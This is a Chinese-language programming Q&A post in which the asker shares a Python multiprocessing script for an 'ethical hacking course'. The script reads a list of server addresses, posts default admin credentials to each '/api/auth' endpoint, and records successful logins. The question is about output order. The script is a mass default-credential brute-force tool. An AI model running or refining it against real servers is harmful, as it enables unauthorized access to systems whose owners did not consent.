【发布时间】:2022-01-15 15:30:57
【问题描述】:
我正在尝试使用多处理为我的道德黑客课程制作一个蛮力,我希望它遍历服务器 IP 列表并为每个 IP 尝试一次登录,但它在尝试制作之前打印每个 IP连接,然后在打印完所有 IP 后,它将开始尝试建立连接,然后打印几个 IP,然后尝试建立另一个连接,依此类推。
我只是希望它遍历 IP 列表并尝试连接到每一个,每个连接一个进程,一次尝试大约 20 个进程
import threading, requests, time, os, multiprocessing
global count2
login_list=[{"username":"admin","password":"Password1"}]
with open('Servers.txt') as f:
lines = [line.rstrip() for line in f]
count=[]
for number in range(len(lines)):
count.append(number)
count2 = count
def login(n):
try:
url = 'http://'+lines[n]+'/api/auth'
print(url)
if '/#!/init/admin' in url:
print('[~] Admin panel detected, saving url and moving to next...')
x = requests.post(url, json = login_list)
if x.status_code == 422:
print('[-] Failed to connect, trying again...')
print(n)
if x.status_code == 403:
print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
time.sleep(20)
print(n)
if x.status_code == 200:
print('\n[~] Connection successful! Login to '+url+' saved.\n')
print(n)
except:
print('[#] No more logins to try for '+url+' moving to next server...')
print('--------------')
if __name__ == "__main__":
# creating a pool object
p = multiprocessing.Pool()
# map list to target function
result = p.map(login, count2)
Server.txt 文件示例:
83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000
这些不是真实的 IP 地址
【问题讨论】:
-
你完全隐藏了你的无条件和静态
except块的任何可能的异常。
标签: python list multiprocessing python-multiprocessing brute-force